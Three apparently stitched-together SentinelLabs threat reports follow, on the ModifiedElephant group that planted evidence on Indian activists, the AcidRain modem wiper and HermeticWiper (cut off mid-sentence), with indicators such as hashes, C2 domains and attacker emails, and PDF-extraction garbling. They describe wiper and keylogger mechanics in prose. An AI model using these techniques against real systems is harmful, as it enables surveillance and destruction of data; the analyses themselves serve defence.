that allow us to connect long periods of previously unattributed malicious activity.
S e n t i n e l L a b s Te a m
BACKGROUND
In September 2021, SentinelLabs published research into the operations of a Turkish-nexus threat
actor we called EGoManiac, drawing attention to their practice of planting incriminating evidence
on the systems of journalists to justify arrests by the Turkish National Police. A threat actor willing
to frame and incarcerate vulnerable opponents is a critically underreported dimension of the cyber
threat landscape that brings up uncomfortable questions about the integrity of devices introduced
as evidence. Emerging details in an unrelated case caught our attention as a potentially similar
scenario worthy of more scrutiny.
Long-standing racial and political tensions in India were inflamed on January 1st, 2018 when
critics of the government clashed with pro-government supporters near Bhima Koregaon. The
event led to subsequent protests, resulting in more violence and at least one death.
In the following months, Maharashtra police linked the cause of the violence to the banned NaxaliteMaoist Communist party of India. On April 17th, 2018, police conducted raids and arrested a
number of individuals on terrorism-related charges. The arresting agencies identified incriminating
files on the computer systems of defendants, including plans for an alleged assassination attempt
against Prime Minister Modi.
Thanks to the public release of digital forensic investigation results by Arsenal Consulting and those
referenced below, we can glean rare insights into the integrity of the systems of some defendants
and grasp the origin of the incriminating files. It turns out that a compromise of defendant systems
led to the planting of files that were later used as evidence of terrorism and justification for the
defendants
 imprisonment. The intrusions in question were not isolated incidents.
Our research into these intrusions revealed a decade of persistent malicious activity targeting
specific groups and individuals that we now attribute to a previously unknown threat actor named
ModifiedElephant. This actor has operated for years, evading research attention and detection
due to their limited scope of operations, the mundane nature of their tools, and their regionallyspecific targeting. ModifiedElephant is still active at the time of writing.
MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
TARGETS & OBJECTIVES
The objective of ModifiedElephant is long-term surveillance that at times concludes with the
delivery of 
evidence
files that incriminate the target in specific crimes
 prior to conveniently
coordinated arrests.
After careful review of the attackers
 campaigns over the last decade, we have identified hundreds
of groups and individuals targeted by ModifiedElephant phishing campaigns. Activists, human
rights defenders, journalists, academics, and law professionals in India are those most highly
targeted. Notable targets include individuals associated with the Bhima Koregaon case.
INFECTION ATTEMPTS
Throughout the last decade, ModifiedElephant operators sought to infect their targets via
spearphishing emails with malicious file attachments, with their techniques evolving over time.
Their primary delivery mechanism is malicious Microsoft Office document files weaponized to
deliver the malware of choice at the time. The specific payloads changed over the years and across
different targets. However, some notable trends remain.
 In mid-2013, the actor used phishing emails containing executable file attachments with
fake double extensions (filename.pdf.exe).
 After 2015, the actor moved on to less obvious files containing publicly available exploits,
such as .doc, .pps, .docx, .rar, and password protected .rar files. These attempts involved
legitimate lure documents in .pdf, .docx, and .mht formats to captivate the target
attention while also executing malware.
 In 2019 phishing campaigns, ModifiedElephant operators also took the approach of
providing links to files hosted externally for manual download and execution by the target.
 As first publicly noted by Amnesty in reference to a subset of this activity, the attacker also
made use of large .rar archives (up to 300MB), potentially in an attempt to bypass detection.
Observed lure documents repeatedly made use of CVE-2012-0158, CVE-2014-1761, CVE-20133906, CVE-2015-1641 exploits to drop and execute their malware of choice.
The spearphishing emails and lure attachments are titled and generally themed around topics
relevant to the target, such as activism news and groups, global and local events on climate
change, politics, and public service. A public deconstruction of two seperate 2014 phishing emails
was shared by Arsenal Consulting in early 2021.
MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
Fig 1: Spearphishing email containing malicious attachment attributed to ModifiedElephant
ModifiedElephant continually made use of free email service providers, like Gmail and Yahoo,
to conduct their campaigns. The phishing emails take many approaches to gain the appearance
of legitimacy. This includes fake body content with a forwarding history containing long lists of
recipients, original email recipient lists with many seemingly fake accounts, or simply resending
their malware multiple times using new emails or lure documents. Notably, in specific attacks, the
actor would be particularly persistent and attempt to compromise the same individuals multiple
times in a single day.
By reviewing a timeline of attacker activity, we can observe clear trends as the attacker(s) rotate
infrastructure over the years.
Fig 2: Timeline sample of ModifiedElephant and SideWinder C2 Infrastructure.
MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
For example, from early-2013 to mid-2016, a reasonably clear timeline
can be built with little overlap, indicating a potential evolution or
expansion of activities. Dates are based on first and last spearphishing
emails observed delivering samples that communicate with a given
domain. Notably, a separate Indian-nexus threat actor, SideWinder, is
placed alongside ModifiedElephant in this graph as they were observed
targeting the same individuals.
WEAPONS OF CHOICE
The malware most used by ModifiedElephant is unsophisticated and
downright mundane, and yet it has proven sufficient for their objectives
obtaining remote access and unrestricted control of victim machines.
The primary malware families deployed were NetWire and DarkComet
remote access trojans (RATs). Both of these RATs are publicly available,
and have a long history of abuse by threat actors across the spectrum
of skill and capability.
One particular activity revolves around the file Ltr_1804_to_cc.pdf,
which contains details of an assassination plot against Prime Minister
Modi. A forensic report by Arsenal Consulting showed that this file, one
of the more incriminating pieces of evidence obtained by the police,
was one of many files delivered via a NetWire RAT remote session that
we associate with ModifiedElephant. Further analysis showed how
ModifiedElephant was performing nearly identical evidence creation
and organization across multiple unrelated victim systems within
roughly fifteen minutes of each other.
INCUBATOR KEYLOGGER
Known victims have also been targeted with keylogger payloads stretching
as far back as 2012 (0a3d635eb11e78e6397a32c99dc0fd5a). These
keyloggers, packed at delivery, are written in Visual Basic and are not
the least bit technically impressive. Moreover, they
re built in such a
brittle fashion that they no longer function.
The overall structure of the keylogger is fairly similar to code openly
shared on Italian hacking forums in 2012. The ModifiedElephant
variant creates a hidden window titled 
cssrs incubator 
 along with
SetWindowsHookEx to monitor for keystrokes. It registers the mutex
MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
4oR_$$$tonelsu-mviiLempel-Ziv
 and uses the VBScript to WMI connector to query for the victim
system
s MAC address and operating system. The malware eventually exfiltrates the logs under
the header 
Logs from <COMPUTERNAME>
 via email.
Fig 3: Log upload format string
In some ways, the Incubator keylogger is far more brittle than the code referenced above as it
relies on specific web content to function (that code is no longer available on the internet at the
time of writing). For example, the keylogger will use a GET request to an outdated 
whatismyip.
 endpoint in order to get the victim system
s IP.
Fig 4: Outdated WhatIsMyIp endpoint used to check the victim
s IP
Similarly, in order to exfiltrate the logs, the keylogger pulls Microsoft schema templates to set up
an SMTP server and push out the content using a hardcoded (but obfuscated) email address. None
of the schema sites requested by the keylogger are available at the time of writing, rendering the
keylogger (in its 2012 form) unable to function.
Fig 5: Incubator keylogger using Microsoft schema templates to create an SMTP server
MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
The keylogger makes use of hardcoded SMTP credentials and email addresses to deliver the logged
keystrokes to attacker controlled accounts, including:
Email
Associated Sample
chiragdin3@gmail.com
0a3d635eb11e78e6397a32c99dc0fd5a
loggerdata123@gmail.com
c095d257983acca64eb52979cfc847ef
maalhamara@gmail.com
0a3d635eb11e78e6397a32c99dc0fd5a
56d573d4c811e69a992ab3088e44c268
1396f720bc7615385bc5df49bbd50d29
d883399966cb29c7c6c358b7c9fdb951
eff9b8e1ee17cd00702279db5de39a3c
maalhamara2@gmail.com
0db49f572bb1634a4217b5215b1c2c6f
ea324dd1dbc79fad591ca46ead4676a1
fd4902b8a4a4718f5219b301475e81aa
nayaamaal1@yahoo.com
0db49f572bb1634a4217b5215b1c2c6f
nayaamaal122@yahoo.com
d883399966cb29c7c6c358b7c9fdb951
nayaamaal2@yahoo.in
ea324dd1dbc79fad591ca46ead4676a1
nayaamaal4@yahoo.com
1396f720bc7615385bc5df49bbd50d29
newmaal@yahoo.com
fd4902b8a4a4718f5219b301475e81aa
shab03@indiatimes.com
c095d257983acca64eb52979cfc847ef
tamizhviduthalai@gmail.com
1720ae54d8ca630b914f622dcf0c1878
tryluck222@gmail.com
56d573d4c811e69a992ab3088e44c268
volvoxyz123@gmail.com
ef42dc2b27db73131e1c01ca9c9c41b6
The keylogger samples also contain VBP and PDB paths, providing some potential context to their
originating development environments.
In some cases, the attacker conducted multiple unique phishing attempts with the same payloads
across one or more targets. However, ModifiedElephant generally conducts each infection attempt
with new malware samples.
MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
ANDROID TROJAN
ModifiedElephant also sent multiple phishing emails containing both NetWire and Android malware
payloads at the same time. The Android malware is an unidentified commodity trojan delivered as
an APK file (0330921c85d582deb2b77a4dc53c78b3). While the Android trojan bears marks of
being designed for broader cybercrime, its delivery at the same time as ModifiedElephant Netwire
samples indicates that the same attacker was attempting to get full coverage of the target on both
endpoint and mobile.
Fig 6: ModifiedElephant Phishing email with malicious
attachments for Netwire and Android GM Bot variants.
Fig 7: ModifiedElephant Phishing email with malicious
attachments for Netwire and Android GM Bot variants.
The trojan enables the attackers to intercept and manage SMS and call data, wipe or unlock the
device, perform network requests, and remote administration. In a very basic form, the trojan
provides the attackers with an ideal low-cost mobile surveillance toolkit.
MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
RELATIONS TO OTHER THREAT CLUSTERS
Our research into this threat actor reveals multiple interesting threads that highlight the complex
nature of targeted surveillance and tasking, where multiple actors swoop in with diverse mechanisms
to track the same group of individuals. These include private sector offensive actors (PSOAs) and
groups with possible commercial facades to coordinate their illicit activities.
Based on our analysis of ModifiedElephant, the group operates in an overcrowded target space and
may have relations with other regional threat actors. From our visibility, we can
t further disambiguate
the shape of that relationship
whether as part of an active umbrella organization, cooperation and
sharing of technical resources and targets across threat groups, or simply coincidental overlaps.
Some interesting overlaps are detailed below.
 Multiple individuals targeted by ModifiedElephant over the years have also been either targeted
or confirmed infected with mobile surveillance spyware. Amnesty International identified NSO
Group
s Pegasus being used in targeted attacks in 2019 against human rights defenders related
to the Bhima Koregaon case. Additionally, the Bhima Koregaon case defendant Rona Wilson
iPhone was targeted with Pegasus since 2017 based on a digital forensics analysis of an iTunes
backup found in the forensic disk images analyzed by Arsenal Consulting.
 Between February 2013 and January 2014 one target, Rona Wilson, received phishing
emails that can be attributed to the SideWinder threat actor. The relationship between
ModifiedElephant and SideWinder is unclear as only the timing and targets of their phishing
emails overlap within our dataset. This could suggest that the attackers are being provided with
similar tasking by a controlling entity, or that they work in concert somehow. SideWinder is a
threat actor targeting government, military, and business entities primarily throughout Asia.
 ModifiedElephant phishing email payloads (b822d8162dd540f29c0d8af28847246e) share
infrastructure overlaps (new-agency[.]us) with Operation Hangover. Operation Hangover includes
surveillance efforts against targets of interest to Indian national security, both foreign and
domestic, in addition to industrial espionage efforts against organizations around the world.
 Another curious finding is the inclusion of the string 
Logs from Moosa
 found in a keylogger sample
closely associated with ModifiedElephant activity in 2012 (c14e101c055c9cb549c75e90d0a99c0a).
The string could be a reference to Moosa Abd-Ali Ali, the Bahrain activist targeted around the
same time, with FinFisher spyware. Without greater information, we treat this as a low confidence
conjecture in need of greater research.
MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
ATTRIBUTION
Attributing an attacker like ModifiedElephant is an interesting challenge. At this time, we possess
significant evidence of what the attacker has done over the past decade, a unique look into who
they
ve targeted, and a strong understanding of their technical objectives.
We observe that ModifiedElephant activity aligns sharply with Indian state interests and that there
is an observable correlation between ModifiedElephant attacks and the arrests of individuals in
controversial, politically-charged cases.
CONCLUSION
The Bhima Koregaon case has offered a revealing perspective into the world of a threat actor willing
to place significant time and resources into seeking the disruption of those with opposing views.
Our profile of ModifiedElephant has taken a look at a small subset of the total list of potential
targets, the attackers techniques, and a rare glimpse into their objectives. Many questions about
this threat actor and their operations remain; however, one thing is clear: Critics of authoritarian
governments around the world must carefully understand the technical capabilities of those who
would seek to silence them.
MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
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MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
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MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
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MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
Type
Label
File
28094131dfc2c92d57a665c7fbc4fc0e
File
af79639a14200ea25410b902fe0d5ee7
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6be54d26001bd55770e3259562046ab2
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c57f16bd980eec7340d1e541877f0098
Domain
pahiclisting.ddns[.]net
Domain
bzone.no-ip[.]biz
Domain
johnmarcus.zapto[.]org
Domain
ramesh212121.zapto[.]org
Domain
atlaswebportal.zapto[.]org
Domain
testingnew.no-ip[.]org
Domain
nepal3.msntv[.]org
Domain
socialstatistics.zapto[.]org
Domain
socialstudies.zapto[.]org
Domain
gayakwaad[.]com
Domain
knudandersen.zapto[.]org
MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
Type
Label
Domain
jasonhistoryarticles.read-books[.]org
Domain
duniaenewsportal.ddns[.]net
Domain
vinaychutiya.no-ip[.]biz
Domain
researchplanet.zapto[.]org
Domain
greenpeacesite[.]com
Domain
new-agency[.]us
Domain
chivalkarstone[.]com
Domain
newmms[.]ru
TECHNICAL REFERENCES
h t t p s : // w w w . a m n e s t y . o r g / e n / l a t e s t / r e s e a r c h / 2 0 2 0 / 0 6 / i n d i a human-rights-defenders-targeted-by-a-coordinated-spywareoperation/ [Archived]
h t t p s : // a r s e n a l e x p e r t s . c o m / p e r s i s t e n t / r e s o u r c e s / p a g e s / B K - C a s e Rona-Wilson-Report-I.zip [Archived]
h t t p s : // a r s e n a l e x p e r t s . c o m / p e r s i s t e n t / r e s o u r c e s / p a g e s / B K - C a s e Rona-Wilson-Report-II.zip [Archived]
h t t p s : // a r s e n a l e x p e r t s . c o m / p e r s i s t e n t / r e s o u r c e s / p a g e s / B K - C a s e Surendra-Gadling-Report-III.zip [Archived]
h t t p s : // a r s e n a l e x p e r t s . c o m / p e r s i s t e n t / r e s o u r c e s / p a g e s / B K - C a s e R o n a - W i l s o n - R e p o r t - I V. z i p [ A r c h i v e d ]
h t t p s : // w e b . a r c h i v e . o r g / w e b / 2 0 2 1 0 2 2 6 1 3 1 0 4 7/ h t t p s : // p a p e r .
s e e b u g . o r g / p a p e r s /A P T /A P T _ C y b e r C r i m i n a l _ C a m p a g i n / 2 0 1 3 / N S U n ve i l i n g - a n - I n d i a n - C y b e ra t t a c k - I n f ra s t r u c t u re _ F I N A L _ We b . p d f
h t t p s : // a r c h i v e . o r g / d o w n l o a d / u n v e i l i n g - a n - i n d i a n - c y b e r a t t a c k infrastructure-appendixes/Unveiling%20an%20Indian%20
Cyberattack%20Infrastructure%20-%20appendixes.pdf
h t t p s : // g i t h u b . c o m / m a l w a r e k i w i / P u b l i c - C o n t e n t / r a w / m a s t e r /
G l o b a l % 2 0 P e r s p e c t i v e % 2 0 o f % 2 0 t h e % 2 0 S i d e W i n d e r % 2 0 A P T. p d f
MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
ABOUT SENTINELLABS
InfoSec works on a rapid iterative cycle where new discoveries occur daily and authoritative
sources are easily drowned in the noise of partial information. SentinelLabs is an open venue
for our threat researchers and vetted contributors to reliably share their latest findings with a
wider community of defenders. No sales pitches, no nonsense. We are hunters, reversers, exploit
developers, and tinkerers shedding light on the world of malware, exploits, APTs, and cybercrime
across all platforms. SentinelLabs embodies our commitment to sharing openly 
providing tools,
context, and insights to strengthen our collective mission of a safer digital life for all.
MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
AcidRain | A Modem Wiper Rains Down on Europe
sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe
Juan Andr
s Guerrero-Saade
By Juan Andres Guerrero-Saade (@juanandres_gs) and Max van Amerongen
(@maxpl0it)
Executive Summary
On Thursday, February 24th, 2022, a cyber attack rendered Viasat KA-SAT modems
inoperable in Ukraine.
Spillover from this attack rendered 5,800 Enercon wind turbines in Germany unable to
communicate for remote monitoring or control.
Viasat
s statement on Wednesday, March 30th, 2022 provides a somewhat plausible
but incomplete description of the attack.
SentinelLabs researchers discovered new malware that we named 
AcidRain
AcidRain is an ELF MIPS malware designed to wipe modems and routers.
We assess with medium-confidence that there are developmental similarities between
AcidRain and a VPNFilter stage 3 destructive plugin. In 2018, the FBI and Department
of Justice attributed the VPNFilter campaign to the Russian government
AcidRain is the 7th wiper malware associated with the Russian invasion of Ukraine.
Update: In a statement disseminated to journalists, Viasat confirmed the use of the
AcidRain wiper in an attack against their modems.
Context
The Russian invasion of Ukraine has included a wealth of cyber operations that have tested
our collective assumptions about the role that cyber plays in modern warfare. Some
commentators have voiced a bizarre disappointment at the 
lack of cyber
 while those at the
coalface are overwhelmed by the abundance of cyber operations accompanying conventional
warfare. From the beginning of 2022, we have dealt with six different strains of wiper
malware targeting Ukraine: WhisperKill, WhisperGate, HermeticWiper, IsaacWiper,
CaddyWiper, and DoubleZero. These attacks are notable on their own. But there
s been an
elephant in the room by way of the rumored 
satellite modem hack
. This particular attack
goes beyond Ukraine.
We first became aware of an issue with Viasat KA-SAT routers due to a reported outage of
5,800 Enercon wind turbines in Germany. To clarify, the wind turbines themselves were not
rendered inoperable but 
remote monitoring and control of the wind turbines
 became
unavailable due to issues with satellite communications. The timing coincided with the
Russian invasion of Ukraine and suspicions arose that an attempt to take out Ukrainian
1/12
military command-and-control capabilities by hindering satellite connectivity spilled over to
affect German critical infrastructure. No technical details became available; technical
speculation has been rampant.
On Wednesday, March 30th, 2022, Viasat finally released a statement stating that the attack
took place in two phases: First, a denial of service attack coming from 
several SurfBeam2
and SurfBeam2+ modems and [
other on-prem equipment
] physically located within
Ukraine
 that temporarily knocked KA-SAT modems offline. Then, the gradual
disappearance of modems from the Viasat service. The actual service provider is in the midst
of a complex arrangement where Eutalsat provides the service, but it
s administered by an
Italian company called Skylogic as part of a transition plan.
The Viasat Explanation
At the time of writing, Viasat has not provided any technical indicators nor an incident
response report. They did provide a general sense of the attack chain with conclusions that
are difficult to reconcile.
Viasat reports that the attackers exploited a misconfigured VPN appliance, gained access to
the trust management segment of the KA-SAT network, moved laterally, then used their
access to 
execute legitimate, targeted management commands on a large number of
residential modems simultaneously
. Viasat goes on to add that 
these destructive commands
overwrote key data in flash memory on the modems, rendering the modems unable to
access the network, but not permanently unusable
It remains unclear how legitimate commands could have such a disruptive effect on the
modems. Scalable disruption is more plausibly achieved by pushing an update, script, or
executable. It
s also hard to envision how legitimate commands would enable either the DoS
effects or render the devices unusable but not permanently bricked.
In effect, the preliminary Viasat incident report posits the following requirements:
1. Could be pushed via the KA-SAT management segment onto modems en masse
2. Would overwrite key data in the modem
s flash memory
3. Render the devices unusable, in need of a factory reset or replacement but not
permanently unusable.
With those requirements in mind, we postulate an alternative hypothesis: The threat actor
used the KA-SAT management mechanism in a supply-chain attack to push a wiper designed
for modems and routers. A wiper for this kind of device would overwrite key data in the
modem
s flash memory, rendering it inoperable and in need of reflashing or replacing.
Subsequent to this post begin published, Viasat confirmed to journalists that our analysis
was consistent with their reports.
2/12
Viasat told BleepingComputer that 
The analysis in the SentinelLabs report regarding the
ukrop binary is consistent with the facts in our report 
 specifically, SentinelLabs identifies
the destructive executable that was run on the modems using a legitimate management
command as Viasat previously described
The AcidRain Wiper
On Tuesday, March 15th, 2022, a suspicious upload caught our attention. A MIPS ELF binary
was uploaded to VirusTotal from Italy with the name 
ukrop
. We didn
t know how to parse
the name accurately. Possible interpretations include a shorthand for 
aine 
eration,
the acronym for the Ukrainian Association of Patriots, or a Russian ethnic slur for Ukrainians
. Only the incident responders in the Viasat case could say definitively whether this
was in fact the malware used in this particular incident. We posit its use as a fitting
hypothesis and will describe its functionality, quirky development traits, and possible
overlaps with previous Russian operations in need of further research.
Technical Overview
SHA256
9b4dfaca873961174ba935fddaf696145afe7bbf5734509f95feb54f3584fd9a
SHA1
86906b140b019fdedaaba73948d0c8f96a6b1b42
ecbe1b1e30a1f4bffaf1d374014c877f
Name
ukrop
3/12
Magic
ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked,
stripped
First
Seen
2022-03-15 15:08:02 UTC
AcidRain
s functionality is relatively straightforward and takes a bruteforce attempt that
possibly signifies that the attackers were either unfamiliar with the particulars of the target
firmware or wanted the tool to remain generic and reusable. The binary performs an in-depth
wipe of the filesystem and various known storage device files. If the code is running as root,
AcidRain performs an initial recursive overwrite and delete of non-standard files in the
filesystem.
Recursively delete files in nonstandard folders
4/12
Following this, it attempts to destroy the data in the following storage device files:
Targeted Device(s)
Description
/dev/sd*
A generic block device
/dev/mtdblock*
Flash memory (common in routers and IoT devices)
/dev/block/mtdblock*
Another potential way of accessing flash memory
/dev/mtd*
The device file for flash memory that supports fileops
/dev/mmcblk*
For SD/MMC cards
/dev/block/mmcblk*
Another potential way of accessing SD/MMC cards
/dev/loop*
Virtual block devices
This wiper iterates over all possible device file identifiers (e.g., mtdblock0 
 mtdblock99),
opens the device file, and either overwrites it with up to 0x40000 bytes of data or (in the case
of the /dev/mtd* device file) uses the following IOCTLS to erase it: MEMGETINFO,
MEMUNLOCK, MEMERASE, and MEMWRITEOOB. In order to make sure that these writes
have been committed, the developers run an fsync syscall.
The code that generates the malicious data used to overwrite storage
When the overwriting method is used instead of the IOCTLs, it copies from a memory region
initialized as an array of 4-byte integers starting at 0xffffffff and decrementing at each
index. This matches what others had seen after the exploit had taken place.
5/12
Side-by-side comparison of a Surfbeam2 modem pre- and post-attack
The code for both erasure methods can be seen below:
6/12
Mechanisms to erase devices: write 0x40000 (left) or use MEM* IOCTLS (right)
Once the various wiping processes are complete, the device is rebooted.
7/12
Redundant attempts to reboot the device
This results in the device being rendered inoperable.
An Interesting Oddity
Despite what the Ukraine invasion has taught us, wiper malware is relatively rare. More so
wiper malware aimed at routers, modems, or IoT devices. The most notable case is
VPNFilter, a modular malware aimed at SOHO routers and QNAP storage devices,
discovered by Talos. This was followed by an FBI indictment attributing the operation to
Russia (APT28, in particular). More recently, the NSA and CISA attributed VPNFilter to
Sandworm (a different threat actor attributed to the same organization, the Russian GRU) as
the U.K.
s National Cyber Security Centre (NCSC) described VPNFilter
s successor, Cyclops
Blink.
8/12
VPNFilter included an impressive array of functionality in the form of multi-stage plugins
selectively deployed to the infected devices. The functionality ranges from credential theft to
monitoring Modbus SCADA protocols. Among its many plugins, it also included functionality
to wipe and brick devices as well as DDoS a target.
The reason we bring up the specter of VPNFilter is not because of its superficial similarities
to AcidRain but rather because of an interesting (but inconclusive) code overlap between a
specific VPNFilter plugin and AcidRain.
VPNFilter Stage 3 Plugin 
dstr
SHA256
47f521bd6be19f823bfd3a72d851d6f3440a6c4cc3d940190bdc9b6dd53a83d6
SHA1
261d012caa96d3e3b059a98388f743fb8d39fbd5
20ea405d79b4de1b90de54a442952a45
Description
VPNFilter Stage 3, 
dstr
 module
Magic
ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked,
stripped
First Seen
2018-06-06 13:02:56 UTC
After the initial discovery of VPNFilter, additional plugins were revealed by researchers
attempting to understand the massive spread of the botnet and its many intricacies. Among
these were previously unknown plugins, including 
dstr
. As the mangled name suggests, it
destruction
 module meant to supplement stage 2 plugins that lacked the 
kill
 command
meant to wipe the devices.
This plugin was brought to our attention initially by tlsh fuzzy hashing, a more recent
matching library that
s proven far more effective than ssdeep or imphash in identifying
similar samples. The similarity was at 55% to AcidRain with no other samples being flagged
in the VT corpus. This alone is not nearly enough to conclusively judge the two samples as
tied, but it did warrant further investigation.
VPNFilter and AcidRain are both notably similar and dissimilar. They
re both MIPS ELF
binaries and the bulk of their shared code appears to stem from statically-linked libc. It
appears that they may also share a compiler, most clearly evidenced by the identical Section
Headers Strings Tables.
9/12
Section Headers Strings Tables for VPNFilter and AcidRain
And there are other development quirks, such as the storing of the previous syscall number
to a global location before a new syscall. At this time, we can
t judge whether this is a shared
compiler optimization or a strange developer quirk.
More notably, while VPNFilter and AcidRain work in very different ways, both binaries make
use of the MEMGETINFO, MEMUNLOCK, and MEMERASE IOCTLS to erase mtd device
files.
On the left, AcidRain; on the right, VPNFilter
There are also notable differences between VPNFilter
dstr
 plugin and AcidRain. The latter
appears to be a far sloppier product that doesn
t consistently rise to the coding standards of
the former. For example, note the redundant use of process forking and needless repetition
10/12
of operations.
They also appear to serve different purposes, with the VPNFilter plugin targeting specific
devices with hardcoded paths, and AcidRain taking more of a 
one-binary-fits-all
 approach
to wiping devices. By brute forcing device filenames, the attackers can more readily reuse
AcidRain against more diverse targets.
We invite the research community to stress test this developmental overlap and contribute
their own findings.
Conclusions
As we consider what
s possibly the most important cyber attack in the ongoing Russian
invasion of Ukraine, there are many open questions. Despite Viasat
s statement claiming that
there was no supply-chain attack or use of malicious code on the affected routers, we posit
the more plausible hypothesis that the attackers deployed AcidRain (and perhaps other
binaries and scripts) to these devices in order to conduct their operation.
While we cannot definitively tie AcidRain to VPNFilter (or the larger Sandworm threat
cluster), we note a medium-confidence assessment of non-trivial developmental similarities
between their components and hope the research community will continue to contribute
their findings in the spirit of collaboration that has permeated the threat intelligence industry
over the past month.
References
https://www.wired.com/story/viasat-internet-hack-ukraine-russia/
https://www.cisa.gov/uscert/ncas/alerts/aa22-076a
https://media.defense.gov/2022/Jan/25/2002927101/-1/-1/0/CSA_PROTECTING_VSAT_
COMMUNICATIONS_01252022.PDF
https://www.airforcemag.com/hackers-attacked-satellite-terminals-through-managementnetwork-viasat-officials-say/
https://nps.edu/documents/104517539/104522593/RELIEF12-4_QLR.pdf/9cc03d09-9af4410e-b601-a8bffdae0c30
https://www.reuters.com/business/media-telecom/exclusive-hackers-who-crippled-viasatmodems-ukraine-are-still-active-company-2022-03-30/
https://www.viasat.com/about/newsroom/blog/ka-sat-network-cyber-attack-overview/
https://blog.talosintelligence.com/2018/05/VPNFilter.html
https://blog.talosintelligence.com/2018/06/vpnfilter-update.html?m=1
https://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html
https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf
https://www.trendmicro.com/en_us/research/21/a/vpnfilter-two-years-later-routers-stillcompromised-.html
https://www.cisa.gov/uscert/ncas/alerts/aa22-054a
11/12
12/12
HermeticWiper | New Destructive Malware Used In Cyber
Attacks on Ukraine
sentinelone.com/labs/hermetic-wiper-ukraine-under-attack
Juan Andr
s Guerrero-Saade
Executive Summary
On February 23rd, the threat intelligence community began observing a new wiper
malware sample circulating in Ukrainian organizations.
Our analysis shows a signed driver is being used to deploy a wiper that targets Windows
devices, manipulating the MBR resulting in subsequent boot failure.
This blog includes the technical details of the wiper, dubbed HermeticWiper, and
includes IOCs to allow organizations to stay protected from this attack.
This sample is actively being used against Ukrainian organizations, and this blog will be
updated as more information becomes available.
SentinelOne customers are protected from this threat, no action is needed.
Background
On February 23rd, our friends at Symantec and ESET research tweeted hashes associated
with a wiper attack in Ukraine, including one which is not publicly available as of this
writing.
We started analyzing this new wiper malware, calling it 
HermeticWiper
 in reference to the
digital certificate used to sign the sample. The digital certificate is issued under the company
name 
Hermetica Digital Ltd
 and valid as of April 2021. At this time, we haven
t seen any
legitimate files signed with this certificate. It
s possible that the attackers used a shell
company or appropriated a defunct company to issue this digital certificate.
HermeticWiper Digital Signature
This is an early effort to analyze the first available sample of HermeticWiper. We recognize
that the situation on the ground in Ukraine is evolving rapidly and hope that we can
contribute our small part to the collective analysis effort.
Technical Analysis
At first glance, HermeticWiper appears to be a custom-written application with very few
standard functions. The malware sample is 114KBs in size and roughly 70% of that is
composed of resources. The developers are using a tried and tested technique of wiper
malware, abusing a benign partition management driver, in order to carry out the more
damaging components of their attacks. Both the Lazarus Group (Destover) and APT33
(Shamoon) took advantage of Eldos Rawdisk in order to get direct userland access to the
filesystem without calling Windows APIs. HermeticWiper uses a similar technique by
abusing a different driver, empntdrv.sys .
HermeticWiper resources containing EaseUS Partition Manager drivers
The copies of the driver are ms-compressed resources. The malware deploys one of these
depending on the OS version, bitness, and SysWow64 redirection.
EaseUS driver resource selection
The benign EaseUS driver is abused to do a fair share of the heavy-lifting when it comes to
accessing Physical Drives directly as well as getting partition information. This adds to the
difficulty of analyzing HermeticWiper, as a lot of functionality is deferred to
DeviceIoControl calls with specific IOCTLs.
MBR and Partition Corruption
HermeticWiper enumerates a range of Physical Drives multiple times, from 0-100. For each
Physical Drive, the \\.\EPMNTDRV\ device is called for a device number.
The malware then focuses on corrupting the first 512 bytes, the Master Boot Record (MBR)
for every Physical Drive. While that should be enough for the device not to boot again,
HermeticWiper proceeds to enumerate the partitions for all possible drives.
They then differentiate between FAT and NTFS partitions. In the case of a FAT partition, the
malware calls the same 
bit fiddler
 to corrupt the partition. For NTFS, the HermeticWiper
parses the Master File Table before calling this same bit fiddling function again.
MFT parsing and bit fiddling calls
We euphemistically refer to the bit fiddling function in the interest of brevity. Looking
through it, we see calls to Windows APIs to acquire a cryptographic context provider and
generate random bytes. It
s likely this is being used for an inlined crypto implementation and
byte overwriting, but the mechanism isn
t entirely clear at this time.
Further functionality refers to interesting MFT fields ( $bitmap , $logfile ) and NTFS
streams ( $DATA , $I30 , $INDEX_ALLOCATION ). The malware also enumerates common
folders (
My Documents
Desktop
AppData
), makes references to the registry (
ntuser
and Windows Event Logs ( "\\\\?\\C:\\Windows\\System32\\winevt\\Logs" ). Our
analysis is ongoing to determine how this functionality is being used, but it is clear that
having already corrupted the MBR and partitions for all drives, the victim system should be
inoperable by this point of the execution.
Along the way, HermeticWiper
s more mundane operations provide us with further IOCs to
monitor for. These include the momentary creation of the abused driver as well as a system
service. It also modifies several registry keys, including setting the
SYSTEM\CurrentControlSet\Control\CrashControl CrashDumpEnabled key to 0,
effectively disabling crash dumps before the abused driver
s execution starts.
Disabling CrashDumps via the registry
Finally, the malware waits on sleeping threads before initiating a system shutdown, finalizing
the malware
s devastating effect.
Conclusion
After a week of defacements and increasing DDoS attacks, the proliferation of sabotage
operations through wiper malware is an expected and regrettable escalation. At this time, we
